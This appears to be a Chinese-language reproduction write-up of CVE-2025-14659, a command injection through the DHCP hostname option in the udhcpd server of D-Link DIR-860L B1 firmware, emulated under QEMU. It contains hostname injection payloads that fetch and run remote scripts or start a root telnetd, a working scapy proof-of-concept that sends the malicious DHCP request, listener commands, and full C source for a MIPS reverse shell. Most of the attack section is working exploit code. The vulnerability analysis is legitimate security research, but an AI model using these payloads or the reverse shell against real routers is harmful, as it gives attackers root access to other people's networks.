固件解包

1
binwalk -Me DIR-860L_B1_FW203b03.bin

固件模拟

配置网卡

1
2
3
echo 123 | sudo -S ip tuntap add dev tap10_0 mode tap
echo 123 | sudo -S ip link set tap10_0 up
echo 123 | sudo -S ip addr add 192.168.0.2/24 dev tap10_0

启动qemu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
echo 123 | sudo -S qemu-system-mipsel \
-m 1024 -M malta \
-kernel binaries/vmlinux.mipsel.4 \
-drive if=ide,format=raw,file=scratch/10/image.raw \
-append "root=/dev/sda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 \
rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 \
FIRMAE_NET=true FIRMAE_NVRAM=true FIRMAE_KERNEL=true FIRMAE_ETC=true \
user_debug=0 firmadyne.syscall=1" \
-serial file:scratch/10/qemu.final.serial.log \
-serial unix:/tmp/qemu.10.S1,server,nowait \
-monitor unix:/tmp/qemu.10,server,nowait \
-display none \
-device e1000,netdev=net0 -netdev socket,id=net0,listen=:2000 \
-device e1000,netdev=net1 -netdev socket,id=net1,listen=:2001 \
-device e1000,netdev=net2 -netdev tap,id=net2,ifname=tap10_0,script=no \
-device e1000,netdev=net3 -netdev socket,id=net3,listen=:2003

漏洞分析

资料中描述了漏洞信息,在DHCP守护进程中发现了RCE,并且是在处理现有IP地址的DHCP REQUEST消息中。

去看udhcpd这个组件

从借鉴的文章中直接定位到这个处理DHCP的函数

然后再往下就能看到一个system()函数

从这里可以看到服务器循环接收 DHCP 报文,读取 Option 53决定走哪个分支

case3会通过get_option()直接从客户端DHCP REQUEST包中提取Option12,然后复制到v33,没有过滤地去把MAC(%s)、IP(%s)、hostname(%s)拼成命令字符串

也就是在流程图的这个地方,Option 12 = Hostname,攻击者可控,是命令注入的输入点

如果找到现有租约

发送ACK,确认续租

那接下来就只需要用一个 shell 分隔符 ; 把可控的hostname的内容截成新命令

可以输入

1
MyHost ; wget http://192.168.0.142:6666/evil.sh ; sh evil.sh ;

最终整条system执行的就是

1
usockc /var/mydlinkeventd_usock NEW_DEVICE,76:e4:ab:1e:fe:40,192.168.0.142,MyHost ; wget http://... ; sh evil.sh ;\n

但是就像这里

我们先需要一个hostname才能进入我们的命令注入点

因此我们必须先拥有合法的租约,并且在发送的恶意 REQUEST 包中包含 Hostname 字段,才能进入这个注入点

复现

先拿一次租约

1
echo 123 | sudo -S dhclient -v -1 tap10_0

1
2
3
4
MAC      = "aa:1d:62:32:cf:ab"
REQ_IP = "192.168.0.163"
SERVER = "192.168.0.1"
HOSTNAME = "; telnetd -l /bin/sh -p 9999 ;"

再关闭dhclicent防止后面干扰

1
sudo killall dhclient

然后开一个终端,准备给路由器传payload

1
python3 -m http.server 8000

再开一个nc监听

1
nc -lvnp 4444

发恶意 DHCP REQUEST

1
echo 123 | sudo -S python3 rev_shell.py tap10_0

发送的 Hostname是

1
; wget http://192.168.0.2:8000/shell.elf -O /tmp/s; chmod +x /tmp/s; /tmp/s 192.168.0.2 4444 &

拼进 udhcpd 的 system() 后,实际执行的命令

1
usockc /var/mydlinkeventd_usock NEW_DEVICE,aa:1d:62:32:cf:ab,192.168.0.163,; wget http://192.168.0.2:8000/shell.elf -O /tmp/s; chmod +x /tmp/s; /tmp/s 192.168.0.2 4444 &

然后路由器就会wget 下载 ->chmod +x->/tmp/s 后台回连

监听端口会收到连接,直接就是 root shell

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
# CVE-2025-14659 PoC:D-Link DIR-860L B1 udhcpd Hostname 命令注入
from scapy.all import *
import time

# ---- 改成你 dhclient 拿到/网卡实际的值 ----
IFACE = "tap10_0"
MAC = "aa:1d:62:32:cf:ab" # 网卡 MAC
REQ_IP = "192.168.0.163" # dhclient 分配的租约 IP
SERVER = "192.168.0.1" # 路由器(DHCP 服务器)
XID = 0x12345678

# ---- 注入点:Option 12 Hostname,靠 ; 截断命令 ----
HOSTNAME = "; telnetd -l /bin/sh -p 9999 ;"

mac_bytes = bytes.fromhex(MAC.replace(":", ""))

pkt = (Ether(src=MAC, dst="ff:ff:ff:ff:ff:ff")
/ IP(src="0.0.0.0", dst="255.255.255.255")
/ UDP(sport=68, dport=67)
/ BOOTP(chaddr=mac_bytes, xid=XID)
/ DHCP(options=[
("message-type", "request"),
("requested_addr", REQ_IP),
("server_id", SERVER),
("hostname", HOSTNAME), # <== 漏洞点
"end"
]))

for _ in range(3):
sendp(pkt, iface=IFACE, verbose=False)
time.sleep(0.4)
print("[*] sent. hostname =", HOSTNAME)

补充

shell.elf源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/* mipsle 反弹 shell,静态编译后给 DIR-860L 用。
用法: shell.elf [ip] [port] (默认 192.168.0.2:4444) */
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(int argc, char **argv) {
const char *ip = argc > 1 ? argv[1] : "192.168.0.2";
int port = argc > 2 ? atoi(argv[2]) : 4444;

int fd = socket(AF_INET, SOCK_STREAM, 0); // 建 TCP socket
if (fd < 0) return 1;

struct sockaddr_in a;
a.sin_family = AF_INET;
a.sin_port = htons((unsigned short)port); // 端口 4444
a.sin_addr.s_addr = inet_addr(ip); // 回连 IP 192.168.0.2

if (connect(fd, (struct sockaddr *)&a, sizeof(a)) < 0) return 2; // 连回攻击机

dup2(fd, 0); // 把连接接到 stdin
dup2(fd, 1); // stdout
dup2(fd, 2); // stderr

char *sh_argv[] = {"/bin/sh", NULL};
execve("/bin/sh", sh_argv, NULL); // 变成 /bin/sh
return 3;
}